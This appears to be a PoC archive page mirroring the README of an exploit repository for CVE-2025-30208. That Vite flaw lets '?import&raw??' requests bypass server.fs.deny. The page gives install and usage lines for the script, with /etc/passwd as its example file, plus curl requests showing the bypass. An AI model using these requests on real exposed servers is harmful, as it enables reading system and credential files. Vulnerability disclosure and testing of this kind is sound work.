Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2025-30208 PoC — Vite bypasses server.fs.deny when using `?raw??`

Source
Associated Vulnerability
Title:Vite bypasses server.fs.deny when using `?raw??` (CVE-2025-30208)
Description:Vite, a provider of frontend development tooling, has a vulnerability in versions prior to 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10. `@fs` denies access to files outside of Vite serving allow list. Adding `?raw??` or `?import&raw??` to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as `?` are removed in several places, but are not accounted for in query string regexes. The contents of arbitrary files can be returned to the browser. Only apps explicitly exposing the Vite dev server to the network (using `--host` or `server.host` config option) are affected. Versions 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10 fix the issue.
Description
This exploit is for educational and ethical security testing purposes only. The use of this exploit against targets without prior mutual consent is illegal, and the developer disclaims any liability for misuse or damage caused by this exploit.
Readme
# CVE-2025-30208-LFI

>[!IMPORTANT]
># Disclaimer
>This exploit is for educational and ethical security testing purposes only. The use of this exploit against targets without prior mutual consent is illegal, and the developer disclaims any liability for misuse or damage caused by this exploit.

## Installation

```shell
git clone https://github.com/On1onss/CVE-2025-30208-LFI.git
cd CVE-2025-30208
pip install -r requirements.txt
```

## Usage 
```shell
python CVE-2025-30208.py [-h] [-t <Target URL>] [-fp <File Path>] [-i]

options:
  -h, --help       show this help message and exit
  -t <Target URL>  Example: -t http://localhost:5173/
  -fp <File Path>  Example: -fp /etc/passwd
  -i               Interactive mode
```
## Description

### Affected versions
```
>= 6.2.0, < 6.2.3
>= 6.1.0, < 6.1.2
>= 6.0.0, < 6.0.12
>= 5.0.0, < 5.4.15
< 4.5.10
```
### Patched versions
```
6.2.3
6.1.2
6.0.12
5.4.15
4.5.10
```
### Summary
The contents of arbitrary files can be returned to the browser.

### Impact
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

### Details
@fs denies access to files outside of Vite serving allow list. Adding ?raw?? or ?import&raw?? to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as ? are removed in several places, but are not accounted for in query string regexes.

### PoC
```shell
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
# sourceMappingURL=data:application/json;base64,eyJ2...
```

## References
- https://nvd.nist.gov/vuln/detail/CVE-2025-30208
- https://github.com/advisories/GHSA-x574-m823-4x7w
- vitejs/vite@315695e
- vitejs/vite@80381c3
- vitejs/vite@807d7f0
- vitejs/vite@92ca12d
- vitejs/vite@f234b57
File Snapshot

[4.0K] /data/pocs/3eb9300109c695fa08e0aa2b5983a96875855c0e ├── [5.8K] CVE-2025-30208.py ├── [1.2K] LICENSE ├── [2.2K] README.md └── [ 16] requirements.txt 0 directories, 4 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →